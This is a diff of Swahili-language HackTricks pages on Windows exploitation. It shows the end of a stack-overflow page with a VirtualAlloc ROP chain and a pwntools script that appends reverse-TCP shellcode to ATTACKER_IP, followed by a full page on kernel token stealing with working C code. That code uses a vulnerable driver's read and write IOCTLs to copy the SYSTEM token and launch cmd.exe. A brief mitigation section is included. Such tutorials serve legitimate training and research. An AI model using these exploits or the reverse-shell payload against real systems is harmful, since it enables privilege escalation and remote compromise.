# ... padding up to saved RIP ...
 | 
			
		||||
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
 | 
			
		||||
POP_R9_RET; 0x40
 | 
			
		||||
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
 | 
			
		||||
POP_R8_RET; 0x1000
 | 
			
		||||
# RCX = &stack (lpAddress)
 | 
			
		||||
LEA_RCX_RSP_RET    # or sequence: load RSP into a GPR then mov rcx, reg
 | 
			
		||||
# RDX = size (dwSize)
 | 
			
		||||
POP_RDX_RET; 0x1000
 | 
			
		||||
# Call VirtualAlloc via the IAT
 | 
			
		||||
[IAT_VirtualAlloc]
 | 
			
		||||
# New RWX memory at RCX — execution continues at the next stack qword
 | 
			
		||||
JMP_SHELLCODE_OR_RET
 | 
			
		||||
# ---- stage-2 shellcode (x64) ----
 | 
			
		||||
```
 | 
			
		||||
Kwa seti ya gadgets iliyo na vikwazo, unaweza kutengeneza thamani za rejista kwa njia isiyo ya moja kwa moja, kwa mfano:
 | 
			
		||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → iweke r9 kutoka rbx, ifanye r8 kuwa sifuri, na fidia stack kwa qword ya takataka.
 | 
			
		||||
- xor rbx, rsp; ret → weka rbx kuwa pointer ya stack ya sasa.
 | 
			
		||||
- push rbx; pop rax; mov rcx, rax; ret → hamisha thamani iliyotokana na RSP ndani ya RCX.
 | 
			
		||||
 | 
			
		||||
Pwntools sketch (ikiwa base na gadgets vinajulikana):
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
base = 0x7ff6693b0000
 | 
			
		||||
IAT_VirtualAlloc = base + 0x400000  # example: resolve via reversing
 | 
			
		||||
rop  = b''
 | 
			
		||||
# r9 = 0x40
 | 
			
		||||
rop += p64(base+POP_RBX_RET) + p64(0x40)
 | 
			
		||||
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
 | 
			
		||||
# rcx = rsp
 | 
			
		||||
rop += p64(base+POP_RBX_RET) + p64(0)
 | 
			
		||||
rop += p64(base+XOR_RBX_RSP_RET)
 | 
			
		||||
rop += p64(base+PUSH_RBX_POP_RAX_RET)
 | 
			
		||||
rop += p64(base+MOV_RCX_RAX_RET)
 | 
			
		||||
# r8 = 0x1000 via arithmetic if no pop r8
 | 
			
		||||
for _ in range(0x1000//0x40):
 | 
			
		||||
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
 | 
			
		||||
# rdx = 0x1000 (use any available gadget)
 | 
			
		||||
rop += p64(base+POP_RDX_RET) + p64(0x1000)
 | 
			
		||||
# call VirtualAlloc and land in shellcode
 | 
			
		||||
rop += p64(IAT_VirtualAlloc)
 | 
			
		||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
 | 
			
		||||
```
 | 
			
		||||
Tips:
 | 
			
		||||
- VirtualProtect hufanya kazi kwa njia sawa ikiwa kufanya buffer iliyopo kuwa RX ni kipaumbele; mpangilio wa vigezo ni tofauti.
 | 
			
		||||
- Ikiwa nafasi ya stack ni nyembamba, tenga RWX mahali pengine (RCX=NULL) na jmp kwenye eneo jipya badala ya kutumia tena stack.
 | 
			
		||||
- Daima zingatia gadgets zinazorudisha RSP (e.g., add rsp, 8; ret) kwa kuingiza junk qwords.
 | 
			
		||||
 | 
			
		||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **inapaswa kuzimwa** ili anwani iwe ya kuaminika kwa utekelezaji tofauti; vinginevyo anwani ambapo function itahifadhiwa haitakuwa ile ile kila wakati na utahitaji leak ili kugundua wapi win function imepakiwa.
 | 
			
		||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) **inapaswa pia kuzimwa** au anwani ya kurudi ya EIP itakayodhulumiwa haitawahi kutumika.
 | 
			
		||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** ulinzi utaizuia utekelezaji wa shellcode ndani ya stack kwa sababu eneo hilo halitaweza kutekelezwa.
 | 
			
		||||
 | 
			
		||||
## Mifano na Marejeo
 | 
			
		||||
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
 | 
			
		||||
- 64bit, ASLR na leak ya anwani ya stack, andika shellcode na ruka kwake
 | 
			
		||||
- 64bit, ASLR na stack address leak, andika shellcode na ruka kwenye hiyo
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
 | 
			
		||||
- 32 bit, ASLR na leak ya stack, andika shellcode na ruka kwake
 | 
			
		||||
- 32 bit, ASLR na stack leak, andika shellcode na ruka kwenye hiyo
 | 
			
		||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
 | 
			
		||||
- 32 bit, ASLR na leak ya stack, kulinganisha kuzuia wito wa exit(), badilisha variable kwa thamani na andika shellcode na ruka kwake
 | 
			
		||||
- 32 bit, ASLR na stack leak, kulinganisha ili kuzuia wito la exit(), funika variable na thamani, andika shellcode na ruka kwenye hiyo
 | 
			
		||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
 | 
			
		||||
- arm64, hakuna ASLR, ROP gadget kufanya stack iwe ya kutekelezeka na ruka kwa shellcode ndani ya stack
 | 
			
		||||
- arm64, hakuna ASLR, ROP gadget kufanya stack iwe executable na ruka kwa shellcode iliyoko kwenye stack
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## Marejeo
 | 
			
		||||
 | 
			
		||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
 | 
			
		||||
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
										
											
												File diff suppressed because it is too large
												Load Diff
											
										
									
								
							@ -0,0 +1,122 @@
 | 
			
		||||
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Muhtasari
 | 
			
		||||
 | 
			
		||||
Ikiwa driver dhaifu ina IOCTL inayomruhusu mshambuliaji primitives za arbitrary kernel read na/au write, kuinua haki hadi NT AUTHORITY\SYSTEM mara nyingi inaweza kufanikiwa kwa kuiba token ya SYSTEM. Mbinu hii inakopa pointer ya Token kutoka kwenye EPROCESS ya mchakato wa SYSTEM na kuiweka kwenye EPROCESS ya mchakato wako wa sasa.
 | 
			
		||||
 | 
			
		||||
Kwa nini inafanya kazi:
 | 
			
		||||
- Kila mchakato una muundo wa EPROCESS ambao una (miongoni mwa sehemu nyingine) Token (kwa kweli EX_FAST_REF kuelekea kitu cha token).
 | 
			
		||||
- Mchakato wa SYSTEM (PID 4) una token yenye ruhusa zote zikiwa zimeteuliwa.
 | 
			
		||||
- Kubadilisha EPROCESS.Token ya mchakato wako wa sasa na pointer ya token ya SYSTEM hufanya mchakato wako uendelee kuendesha kama SYSTEM mara moja.
 | 
			
		||||
 | 
			
		||||
> Offsets katika EPROCESS zinatofautiana kati ya matoleo ya Windows. Zidhibitio kwa njia ya dynamic (symbols) au tumia constants maalum kwa toleo. Pia kumbuka kuwa EPROCESS.Token ni EX_FAST_REF (bita 3 za chini ni flag za reference count).
 | 
			
		||||
 | 
			
		||||
## Hatua za juu
 | 
			
		||||
 | 
			
		||||
1) Pata base ya ntoskrnl.exe na tatua anwani ya PsInitialSystemProcess.
 | 
			
		||||
- Kutoka user mode, tumia NtQuerySystemInformation(SystemModuleInformation) au EnumDeviceDrivers kupata base za drivers zilizo load.
 | 
			
		||||
- Ongeza offset ya PsInitialSystemProcess (kutoka symbols/reversing) kwenye kernel base kupata anwani yake.
 | 
			
		||||
2) Soma pointer kwenye PsInitialSystemProcess → hii ni kernel pointer kuelekea EPROCESS ya SYSTEM.
 | 
			
		||||
3) Kutoka EPROCESS ya SYSTEM, soma UniqueProcessId na ActiveProcessLinks offsets ili kuvuka orodha ya double linked list ya miundo ya EPROCESS (ActiveProcessLinks.Flink/Blink) hadi utakapopata EPROCESS ambayo UniqueProcessId yake ni sawa na GetCurrentProcessId(). Hifadhi yote:
 | 
			
		||||
- EPROCESS_SYSTEM (kwa SYSTEM)
 | 
			
		||||
- EPROCESS_SELF (kwa mchakato wa sasa)
 | 
			
		||||
4) Soma thamani ya token ya SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
 | 
			
		||||
- Futa bit 3 za chini: Token_SYS_masked = Token_SYS & ~0xF (kawaida ~0xF au ~0x7 kulingana na build; kwenye x64 bit 3 za chini zinatumika — mask 0xFFFFFFFFFFFFFFF8).
 | 
			
		||||
5) Chaguo A (kawaida): Hifadhi bit 3 za chini kutoka token yako ya sasa na ziweke kwenye pointer ya SYSTEM ili kuweka reference count iliyojengwa iwe thabiti.
 | 
			
		||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
 | 
			
		||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
 | 
			
		||||
6) Andika Token_NEW kurudi ndani ya (EPROCESS_SELF + TokenOffset) kwa kutumia kernel write primitive yako.
 | 
			
		||||
7) Mchakato wako wa sasa sasa ni SYSTEM. Hiari anzisha cmd.exe mpya au powershell.exe kuthibitisha.
 | 
			
		||||
 | 
			
		||||
## Pseudocode
 | 
			
		||||
 | 
			
		||||
Chini ni skeleton inayotumia tu IOCTL mbili kutoka kwa driver dhaifu, mojawapo kwa 8-byte kernel read na mojawapo kwa 8-byte kernel write. Badilisha na interface ya driver yako.
 | 
			
		||||
```c
 | 
			
		||||
#include <Windows.h>
 | 
			
		||||
#include <Psapi.h>
 | 
			
		||||
#include <stdint.h>
 | 
			
		||||
 | 
			
		||||
// Device + IOCTLs are driver-specific
 | 
			
		||||
#define DEV_PATH   "\\\\.\\VulnDrv"
 | 
			
		||||
#define IOCTL_KREAD  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
 | 
			
		||||
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
 | 
			
		||||
 | 
			
		||||
// Version-specific (examples only – resolve per build!)
 | 
			
		||||
static const uint32_t Off_EPROCESS_UniquePid    = 0x448; // varies
 | 
			
		||||
static const uint32_t Off_EPROCESS_Token        = 0x4b8; // varies
 | 
			
		||||
static const uint32_t Off_EPROCESS_ActiveLinks  = 0x448 + 0x8; // often UniquePid+8, varies
 | 
			
		||||
 | 
			
		||||
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
 | 
			
		||||
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
 | 
			
		||||
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
 | 
			
		||||
}
 | 
			
		||||
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
 | 
			
		||||
struct { uint64_t addr, val; } in; DWORD ret;
 | 
			
		||||
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
// Get ntoskrnl base (one option)
 | 
			
		||||
uint64_t get_nt_base(void) {
 | 
			
		||||
LPVOID drivers[1024]; DWORD cbNeeded;
 | 
			
		||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
 | 
			
		||||
return (uint64_t)drivers[0]; // first is typically ntoskrnl
 | 
			
		||||
}
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
int main(void) {
 | 
			
		||||
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
 | 
			
		||||
if (h == INVALID_HANDLE_VALUE) return 1;
 | 
			
		||||
 | 
			
		||||
// 1) Resolve PsInitialSystemProcess
 | 
			
		||||
uint64_t nt = get_nt_base();
 | 
			
		||||
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
 | 
			
		||||
 | 
			
		||||
// 2) Read SYSTEM EPROCESS
 | 
			
		||||
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
 | 
			
		||||
 | 
			
		||||
// 3) Walk ActiveProcessLinks to find current EPROCESS
 | 
			
		||||
DWORD myPid = GetCurrentProcessId();
 | 
			
		||||
uint64_t cur = EPROC_SYS; // list is circular
 | 
			
		||||
uint64_t EPROC_ME = 0;
 | 
			
		||||
do {
 | 
			
		||||
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
 | 
			
		||||
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
 | 
			
		||||
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
 | 
			
		||||
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
 | 
			
		||||
} while (cur != EPROC_SYS);
 | 
			
		||||
 | 
			
		||||
// 4) Read tokens
 | 
			
		||||
uint64_t tok_sys, tok_me;
 | 
			
		||||
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
 | 
			
		||||
kread_qword(h, EPROC_ME  + Off_EPROCESS_Token, &tok_me);
 | 
			
		||||
 | 
			
		||||
// 5) Mask EX_FAST_REF low bits and splice refcount bits
 | 
			
		||||
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
 | 
			
		||||
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
 | 
			
		||||
 | 
			
		||||
// 6) Write back
 | 
			
		||||
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
 | 
			
		||||
 | 
			
		||||
// 7) We are SYSTEM now
 | 
			
		||||
system("cmd.exe");
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Vidokezo:
 | 
			
		||||
- Offsets: Tumia WinDbg’s `dt nt!_EPROCESS` na PDBs za lengo, au runtime symbol loader, ili kupata offsets sahihi. Usifanye hardcode bila tahadhari.
 | 
			
		||||
- Mask: On x64 the token is an EX_FAST_REF; low 3 bits are reference count bits. Kuendelea na low bits za asili kutoka token yako kuepuka matatizo ya refcount mara moja.
 | 
			
		||||
- Stability: Pendelea kuinua current process; ikiwa unainua helper mfupi unaweza kupoteza SYSTEM anapoondoka.
 | 
			
		||||
 | 
			
		||||
## Ugunduzi na kupunguza
 | 
			
		||||
- Kupakia unsigned au untrusted third‑party drivers ambazo zinaonyesha IOCTLs zenye nguvu ndizo chanzo cha tatizo.
 | 
			
		||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, and Attack Surface Reduction rules zinaweza kuzuia vulnerable drivers kupakiwa.
 | 
			
		||||
- EDR inaweza kuangalia mfululizo wa IOCTL unaoshukiwa ambao unatekeleza arbitrary read/write na token swaps.
 | 
			
		||||
 | 
			
		||||
## Marejeleo
 | 
			
		||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
 | 
			
		||||
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user